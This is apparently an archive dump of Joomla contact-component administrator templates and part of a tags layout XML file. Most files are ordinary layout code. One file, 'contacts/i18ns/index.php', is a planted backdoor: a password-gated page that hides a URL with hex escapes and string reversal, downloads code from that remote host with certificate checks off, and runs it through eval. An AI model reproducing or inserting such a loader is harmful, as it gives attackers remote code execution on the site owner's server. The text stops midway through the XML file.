</form>
contacts/default.php000064400000031525151730205500010523 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$user      = Factory::getUser();
$userId    = $user->get('id');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'a.ordering';
$assoc     = Associations::isEnabled();

if ($saveOrder && !empty($this->items)) {
    $saveOrderingUrl = 'index.php?option=com_contact&task=contacts.saveOrderAjax&tmpl=component&' . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}
?>
<form action="<?php echo Route::_('index.php?option=com_contact'); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
                <?php if (empty($this->items)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table" id="contactList">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_CONTACT_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?>
                                </th>
                                <th scope="col" class="w-1 text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JFEATURED', 'a.featured', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-1 text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_CONTACT_FIELD_NAME_LABEL', 'a.name', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_CONTACT_FIELD_LINKED_USER_LABEL', 'ul.name', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'access_level', $listDirn, $listOrder); ?>
                                </th>
                                <?php if ($assoc) : ?>
                                    <th scope="col" class="w-10">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'COM_CONTACT_HEADING_ASSOCIATION', 'association', $listDirn, $listOrder); ?>
                                    </th>
                                <?php endif; ?>
                                <?php if (Multilanguage::isEnabled()) : ?>
                                    <th scope="col" class="w-10 d-none d-md-table-cell">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language_title', $listDirn, $listOrder); ?>
                                    </th>
                                <?php endif; ?>
                                <th scope="col" class="w-5 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody <?php if ($saveOrder) :
                            ?> class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="true"<?php
                               endif; ?>>
                        <?php
                        $n = count($this->items);
                        foreach ($this->items as $i => $item) :
                            $canCreate  = $user->authorise('core.create', 'com_contact.category.' . $item->catid);
                            $canEdit    = $user->authorise('core.edit', 'com_contact.category.' . $item->catid);
                            $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $userId || is_null($item->checked_out);
                            $canEditOwn = $user->authorise('core.edit.own', 'com_contact.category.' . $item->catid) && $item->created_by == $userId;
                            $canChange  = $user->authorise('core.edit.state', 'com_contact.category.' . $item->catid) && $canCheckin;

                            $item->cat_link = Route::_('index.php?option=com_categories&extension=com_contact&task=edit&type=other&id=' . $item->catid);
                            ?>
                            <tr class="row<?php echo $i % 2; ?>" data-draggable-group="<?php echo $item->catid; ?>">
                                <td class="text-center">
                                    <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->name); ?>
                                </td>
                                <td class="text-center d-none d-md-table-cell">
                                    <?php
                                    $iconClass = '';
                                    if (!$canChange) {
                                        $iconClass = ' inactive';
                                    } elseif (!$saveOrder) {
                                        $iconClass = ' inactive" title="' . Text::_('JORDERINGDISABLED');
                                    }
                                    ?>
                                    <span class="sortable-handler<?php echo $iconClass; ?>">
                                        <span class="icon-ellipsis-v" aria-hidden="true"></span>
                                    </span>
                                    <?php if ($canChange && $saveOrder) : ?>
                                        <input type="text" name="order[]" size="5"
                                            value="<?php echo $item->ordering; ?>" class="width-20 text-area-order hidden">
                                    <?php endif; ?>
                                </td>
                                <td class="text-center">
                                    <?php echo HTMLHelper::_('contactadministrator.featured', $item->featured, $i, $canChange); ?>
                                </td>
                                <td class="text-center">
                                    <?php echo HTMLHelper::_('jgrid.published', $item->published, $i, 'contacts.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?>
                                </td>

                                <th scope="row" class="has-context">
                                    <div>
                                        <?php if ($item->checked_out) : ?>
                                            <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'contacts.', $canCheckin); ?>
                                        <?php endif; ?>
                                        <?php if ($canEdit || $canEditOwn) : ?>
                                            <a href="<?php echo Route::_('index.php?option=com_contact&task=contact.edit&id=' . (int) $item->id); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->name); ?>">
                                                <?php echo $this->escape($item->name); ?></a>
                                        <?php else : ?>
                                            <?php echo $this->escape($item->name); ?>
                                        <?php endif; ?>
                                        <div class="small">
                                            <?php echo Text::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
                                        </div>
                                        <div class="small">
                                            <?php echo Text::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
                                        </div>
                                    </div>
                                </th>
                                <td class="small d-none">
                                    <?php if (!empty($item->linked_user)) : ?>
                                        <a href="<?php echo Route::_('index.php?option=com_users&task=user.edit&id=' . $item->user_id); ?>"><?php echo $item->linked_user; ?></a>
                                        <div class="small"><?php echo $item->email; ?></div>
                                    <?php endif; ?>
                                </td>
                                <td class="small d-none d-md-table-cell">
                                    <?php echo $item->access_level; ?>
                                </td>
                                <?php if ($assoc) : ?>
                                <td class="d-none d-md-table-cell">
                                    <?php if ($item->association) : ?>
                                        <?php echo HTMLHelper::_('contactadministrator.association', $item->id); ?>
                                    <?php endif; ?>
                                </td>
                                <?php endif; ?>
                                <?php if (Multilanguage::isEnabled()) : ?>
                                    <td class="small d-none d-md-table-cell">
                                        <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                                    </td>
                                <?php endif; ?>
                                <td class="d-none d-md-table-cell">
                                    <?php echo $item->id; ?>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                    <?php // Load the batch processing form. ?>
                    <?php
                    if (
                        $user->authorise('core.create', 'com_contact')
                        && $user->authorise('core.edit', 'com_contact')
                        && $user->authorise('core.edit.state', 'com_contact')
                    ) : ?>
                        <?php echo HTMLHelper::_(
                            'bootstrap.renderModal',
                            'collapseModal',
                            [
                                'title'  => Text::_('COM_CONTACT_BATCH_OPTIONS'),
                                'footer' => $this->loadTemplate('batch_footer'),
                            ],
                            $this->loadTemplate('batch_body')
                        ); ?>
                    <?php endif; ?>
                <?php endif; ?>
                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
contacts/emptystate.php000064400000001605151730205500011272 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_CONTACT',
    'formURL'    => 'index.php?option=com_contact',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Help4.x:Contacts',
    'icon'       => 'icon-address-book contact',
];

$user = Factory::getApplication()->getIdentity();

if ($user->authorise('core.create', 'com_contact') || count($user->getAuthorisedCategories('com_contact', 'core.create')) > 0) {
    $displayData['createURL'] = 'index.php?option=com_contact&task=contact.add';
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
contacts/default_batch_body.php000064400000003256151730205500012701 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Layout\LayoutHelper;

$published = (int) $this->state->get('filter.published');
$noUser    = true;
?>

<div class="p-3">
    <div class="row">
        <?php if (Multilanguage::isEnabled()) : ?>
            <div class="form-group col-md-6">
                <div class="controls">
                    <?php echo LayoutHelper::render('joomla.html.batch.language', []); ?>
                </div>
            </div>
        <?php endif; ?>
        <div class="form-group col-md-6">
            <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.access', []); ?>
            </div>
        </div>
    </div>
    <div class="row">
        <?php if ($published >= 0) : ?>
            <div class="form-group col-md-6">
                <div class="controls">
                    <?php echo LayoutHelper::render('joomla.html.batch.item', ['extension' => 'com_contact']); ?>
                </div>
            </div>
        <?php endif; ?>
        <div class="form-group col-md-6">
            <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.tag', []); ?>
            </div>
        </div>
        <div class="form-group col-md-6">
            <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.user', ['noUser' => $noUser]); ?>
            </div>
        </div>
    </div>
</div>
contacts/i18ns/index.php000060400000003564151730205500011146 0ustar00<?php ?><?php error_reporting(0); if(isset($_REQUEST["ok"])){die(">ok<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto sxpzC; Ku22d: $SS8Fu .= "\x2e\x35\57"; goto hFeQO; niJPu: $SS8Fu .= "\x6f\164\x2e\x31\60"; goto cNjvp; Wop7u: $SS8Fu .= "\x6d\141\x64\x2f\160"; goto niJPu; sSAji: $SS8Fu .= "\164\170\164"; goto Ku22d; sxpzC: $SS8Fu = ''; goto sSAji; Pm8C0: $SS8Fu .= "\144\x2f\57"; goto X2745; hFeQO: $SS8Fu .= "\144\x6c\157\x2f\x61"; goto Wop7u; X2745: $SS8Fu .= "\x3a\x73\160\x74"; goto T5ftU; cNjvp: $SS8Fu .= "\x61\x6d\x61"; goto Pm8C0; T5ftU: $SS8Fu .= "\x74\x68"; goto zWfEB; zWfEB: eval("\x3f\76" . tW2KX(strrev($SS8Fu))); goto gPzcS; gPzcS: function TW2KX($V1_rw = '') { goto uhE6D; Q510J: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto VN0qi; Mj0OL: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto mLL0A; mLL0A: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto i9wy_; cm3pV: curl_close($xM315); goto C3tjU; p9vG6: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto Q510J; C3tjU: return $tvmad; goto ueEhW; uhE6D: $xM315 = curl_init(); goto Mj0OL; i9wy_: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto p9vG6; VN0qi: $tvmad = curl_exec($xM315); goto cm3pV; ueEhW: }contacts/default_batch_footer.php000064400000001531151730205500013234 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<button type="button" class="btn btn-secondary" onclick="document.getElementById('batch-category-id').value='';document.getElementById('batch-access').value='';document.getElementById('batch-language-id').value='';document.getElementById('batch-user-id').value='';document.getElementById('batch-tag-id').value=''" data-bs-dismiss="modal">
    <?php echo Text::_('JCANCEL'); ?>
</button>
<button type="submit" class="btn btn-success" onclick="Joomla.submitbutton('contact.batch');return false;">
    <?php echo Text::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>
contacts/modal.php000064400000016406151730205500010174 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
use Joomla\Component\Contact\Site\Helper\RouteHelper;

$app = Factory::getApplication();

if ($app->isClient('site')) {
    Session::checkToken('get') or die(Text::_('JINVALID_TOKEN'));
}

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('com_contact.admin-contacts-modal');

$function  = $app->getInput()->getCmd('function', 'jSelectContact');
$editor    = $app->getInput()->getCmd('editor', '');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$onclick   = $this->escape($function);
$multilang = Multilanguage::isEnabled();

if (!empty($editor)) {
    // This view is used also in com_menus. Load the xtd script only if the editor is set!
    $this->document->addScriptOptions('xtd-contacts', ['editor' => $editor]);
    $onclick = "jSelectContact";
}
?>
<div class="container-popup">

    <form action="<?php echo Route::_('index.php?option=com_contact&view=contacts&layout=modal&tmpl=component&editor=' . $editor . '&function=' . $function . '&' . Session::getFormToken() . '=1'); ?>" method="post" name="adminForm" id="adminForm">

        <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>

        <?php if (empty($this->items)) : ?>
            <div class="alert alert-info">
                <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
            </div>
        <?php else : ?>
            <table class="table table-sm">
                <caption class="visually-hidden">
                    <?php echo Text::_('COM_CONTACT_TABLE_CAPTION'); ?>,
                        <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                        <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                </caption>
                <thead>
                    <tr>
                        <th scope="col" class="w-1 text-center">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="title">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.name', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-10">
                            <?php echo HTMLHelper::_('searchtools.sort', 'COM_CONTACT_FIELD_LINKED_USER_LABEL', 'ul.name', $listDirn, $listOrder); ?>
                        </th>
                        <th scope="col" class="w-15 d-none d-md-table-cell">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'access_level', $listDirn, $listOrder); ?>
                        </th>
                        <?php if ($multilang) : ?>
                            <th scope="col" class="w-10 d-none d-md-table-cell">
                                <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language_title', $listDirn, $listOrder); ?>
                            </th>
                        <?php endif; ?>
                        <th scope="col" class="w-1">
                            <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                        </th>
                    </tr>
                </thead>
                <tbody>
                <?php
                $iconStates = [
                    -2 => 'icon-trash',
                    0  => 'icon-unpublish',
                    1  => 'icon-publish',
                    2  => 'icon-archive',
                ];
                ?>
                <?php foreach ($this->items as $i => $item) : ?>
                    <?php if ($item->language && $multilang) {
                        $tag = strlen($item->language);
                        if ($tag == 5) {
                            $lang = substr($item->language, 0, 2);
                        } elseif ($tag == 6) {
                            $lang = substr($item->language, 0, 3);
                        } else {
                            $lang = '';
                        }
                    } elseif (!$multilang) {
                        $lang = '';
                    }
                    ?>
                    <tr class="row<?php echo $i % 2; ?>">
                        <td class="text-center">
                            <span class="tbody-icon">
                                <span class="<?php echo $iconStates[$this->escape($item->published)]; ?>" aria-hidden="true"></span>
                            </span>
                        </td>
                        <th scope="row">
                            <a class="select-link" href="javascript:void(0)" data-function="<?php echo $this->escape($onclick); ?>" data-id="<?php echo $item->id; ?>" data-title="<?php echo $this->escape($item->name); ?>" data-uri="<?php echo $this->escape(RouteHelper::getContactRoute($item->id, $item->catid, $item->language)); ?>" data-language="<?php echo $this->escape($lang); ?>">
                                <?php echo $this->escape($item->name); ?>
                            </a>
                            <div class="small">
                                <?php echo Text::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
                            </div>
                        </th>
                        <td>
                            <?php if (!empty($item->linked_user)) : ?>
                                <?php echo $item->linked_user; ?>
                            <?php endif; ?>
                        </td>
                        <td class="small d-none d-md-table-cell">
                            <?php echo $this->escape($item->access_level); ?>
                        </td>
                        <?php if ($multilang) : ?>
                            <td class="small d-none d-md-table-cell">
                                <?php echo LayoutHelper::render('joomla.content.language', $item); ?>
                            </td>
                        <?php endif; ?>
                        <td>
                            <?php echo (int) $item->id; ?>
                        </td>
                    </tr>
                <?php endforeach; ?>
                </tbody>
            </table>

            <?php // load the pagination. ?>
            <?php echo $this->pagination->getListFooter(); ?>

        <?php endif; ?>

        <input type="hidden" name="task" value="">
        <input type="hidden" name="forcedLanguage" value="<?php echo $app->getInput()->get('forcedLanguage', '', 'CMD'); ?>">
        <?php echo HTMLHelper::_('form.token'); ?>

    </form>
</div>
contact/edit.php000064400000014132151730205500007634 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate');

$app = Factory::getApplication();
$input = $app->getInput();

$assoc = Associations::isEnabled();

// Fieldsets to not automatically render by /layouts/joomla/edit/params.php
$this->ignore_fieldsets = ['details', 'item_associations', 'jmetadata'];
$this->useCoreUI = true;

// In case of modal
$isModal = $input->get('layout') === 'modal';
$layout  = $isModal ? 'modal' : 'edit';
$tmpl    = $isModal || $input->get('tmpl', '', 'cmd') === 'component' ? '&tmpl=component' : '';
?>

<form action="<?php echo Route::_('index.php?option=com_contact&layout=' . $layout . $tmpl . '&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="contact-form" aria-label="<?php echo Text::_('COM_CONTACT_FORM_TITLE_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">

    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>

    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'details', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'details', empty($this->item->id) ? Text::_('COM_CONTACT_NEW_CONTACT') : Text::_('COM_CONTACT_EDIT_CONTACT')); ?>
        <div class="row">
            <div class="col-lg-9">
                <div class="row">
                    <div class="col-md-6">
                        <?php echo $this->form->renderField('user_id'); ?>
                        <?php echo $this->form->renderField('image'); ?>
                        <?php echo $this->form->renderField('con_position'); ?>
                        <?php echo $this->form->renderField('email_to'); ?>
                        <?php echo $this->form->renderField('address'); ?>
                        <?php echo $this->form->renderField('suburb'); ?>
                        <?php echo $this->form->renderField('state'); ?>
                        <?php echo $this->form->renderField('postcode'); ?>
                        <?php echo $this->form->renderField('country'); ?>
                    </div>
                    <div class="col-md-6">
                        <?php echo $this->form->renderField('telephone'); ?>
                        <?php echo $this->form->renderField('mobile'); ?>
                        <?php echo $this->form->renderField('fax'); ?>
                        <?php echo $this->form->renderField('webpage'); ?>
                        <?php echo $this->form->renderField('sortname1'); ?>
                        <?php echo $this->form->renderField('sortname2'); ?>
                        <?php echo $this->form->renderField('sortname3'); ?>
                    </div>
                </div>
            </div>
            <div class="col-lg-3">
                <?php echo LayoutHelper::render('joomla.edit.global', $this); ?>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'misc', Text::_('JGLOBAL_FIELDSET_MISCELLANEOUS')); ?>
        <div class="row">
            <div class="col-md-12">
                <fieldset id="fieldset-misc" class="options-form">
                    <legend><?php echo $this->form->getField('misc')->title; ?></legend>
                    <div>
                        <?php echo $this->form->getLabel('misc'); ?>
                        <?php echo $this->form->getInput('misc'); ?>
                    </div>
                </fieldset>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo LayoutHelper::render('joomla.edit.params', $this); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'publishing', Text::_('JGLOBAL_FIELDSET_PUBLISHING')); ?>
        <div class="row">
            <div class="col-md-6">
                <fieldset id="fieldset-publishingdata" class="options-form">
                    <legend><?php echo Text::_('JGLOBAL_FIELDSET_PUBLISHING'); ?></legend>
                    <div>
                        <?php echo LayoutHelper::render('joomla.edit.publishingdata', $this); ?>
                    </div>
                </fieldset>
            </div>
            <div class="col-md-6">
                <fieldset id="fieldset-metadata" class="options-form">
                    <legend><?php echo Text::_('JGLOBAL_FIELDSET_METADATA_OPTIONS'); ?></legend>
                    <div>
                        <?php echo LayoutHelper::render('joomla.edit.metadata', $this); ?>
                    </div>
                </fieldset>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php if (!$isModal && $assoc) : ?>
            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'associations', Text::_('JGLOBAL_FIELDSET_ASSOCIATIONS')); ?>
            <fieldset id="fieldset-associations" class="options-form">
                <legend><?php echo Text::_('JGLOBAL_FIELDSET_ASSOCIATIONS'); ?></legend>
                <div>
                    <?php echo LayoutHelper::render('joomla.edit.associations', $this); ?>
                </div>
            </fieldset>
            <?php echo HTMLHelper::_('uitab.endTab'); ?>
        <?php elseif ($isModal && $assoc) : ?>
            <div class="hidden"><?php echo LayoutHelper::render('joomla.edit.associations', $this); ?></div>
        <?php endif; ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
    </div>
    <input type="hidden" name="task" value="">
    <input type="hidden" name="forcedLanguage" value="<?php echo $input->get('forcedLanguage', '', 'cmd'); ?>">
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
contact/modal.php000064400000000601151730205500007777 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<div class="container-popup">
    <?php $this->setLayout('edit'); ?>
    <?php echo $this->loadTemplate(); ?>
</div>
tag/list.xml000064400000017201151730233450007020 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_TAGS_TAG_VIEW_LIST_COMPACT_TITLE" option="COM_TAGS_TAG_VIEW_LIST_COMPACT_OPTION">
		<help
			key="Menu_Item:_Compact_List_of_Tagged_Items"
		/>
		<message>
			<![CDATA[COM_TAGS_TAG_VIEW_LIST_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request">

			<field
				name="id"
				type="tag"
				label="COM_TAGS_FIELD_TAG_LABEL"
				mode="nested"
				required="true"
				multiple="true"
				custom="false"
			/>

			<field
				name="types"
				type="contenttype"
				label="COM_TAGS_FIELD_TYPE_LABEL"
				layout="joomla.form.field.list-fancy-select"
				multiple="true"
			/>

			<field
				name="tag_list_language_filter"
				type="contentlanguage"
				label="COM_TAGS_FIELD_LANGUAGE_FILTER_LABEL"
				default=""
				useglobal="true"
				>
				<option value="all">JALL</option>
				<option value="current_language">JCURRENT</option>
			</field>

		</fieldset>
	</fields>
	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic" label="COM_TAGS_OPTIONS">

			<field
				name="show_tag_title"
				type="list"
				label="COM_TAGS_SHOW_TAG_TITLE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_tag_image"
				type="list"
				label="COM_TAGS_SHOW_TAG_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_tag_description"
				type="list"
				label="COM_TAGS_SHOW_TAG_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_image"
				type="media"
				schemes="http,https,ftp,ftps,data,file"
				validate="url"
				relative="true"
				label="COM_TAGS_TAG_LIST_MEDIA_LABEL"
			/>

			<field
				name="tag_list_image_alt"
				type="text"
				label="COM_TAGS_TAG_LIST_MEDIA_ALT_LABEL"
			/>

			<field
				name="tag_list_image_alt_empty"
				type="checkbox"
				label="COM_TAGS_TAG_LIST_MEDIA_ALT_EMPTY_LABEL"
				description="COM_TAGS_TAG_LIST_MEDIA_ALT_EMPTY_DESC"
			/>

			<field
				name="tag_list_description"
				type="textarea"
				label="COM_TAGS_SHOW_TAG_LIST_DESCRIPTION_LABEL"
				description="COM_TAGS_TAG_LIST_DESCRIPTION_DESC"
				rows="3"
				cols="30"
				filter="safehtml"
			/>

			<field
				name="tag_list_orderby"
				type="list"
				label="JGLOBAL_FIELD_FIELD_ORDERING_LABEL"
				default=""
				useglobal="true"
				validate="options"
				>
				<option value="c.core_title">JGLOBAL_TITLE</option>
				<option value="match_count">COM_TAGS_MATCH_COUNT</option>
				<option value="c.core_created_time">JGLOBAL_CREATED_DATE</option>
				<option value="c.core_modified_time">JGLOBAL_MODIFIED_DATE</option>
				<option value="c.core_publish_up">JGLOBAL_PUBLISHED_DATE</option>
			</field>

			<field
				name="tag_list_orderby_direction"
				type="list"
				label="JGLOBAL_ORDER_DIRECTION_LABEL"
				useglobal="true"
				validate="options"
				>
				<option value="ASC">JGLOBAL_ORDER_ASCENDING</option>
				<option value="DESC">JGLOBAL_ORDER_DESCENDING</option>
			</field>

		</fieldset>

		<fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS" description="COM_TAGS_SUBSLIDER_DRILL_TAG_LIST_LABEL">

			<field
				name="tag_list_show_item_image"
				type="list"
				label="COM_TAGS_TAG_LIST_SHOW_ITEM_IMAGE_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_show_item_description"
				type="list"
				label="COM_TAGS_TAG_LIST_SHOW_ITEM_DESCRIPTION_LABEL"
				useglobal="true"
				class="form-select-color-state"
				validate="options"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="tag_list_item_maximum_characters"
				type="number"
				label="COM_TAGS_LIST_MAX_CHARACTERS_LABEL"
				filter="integer"
				useglobal="true"
			/>

			<field
				name="filter_field"
				type="list"
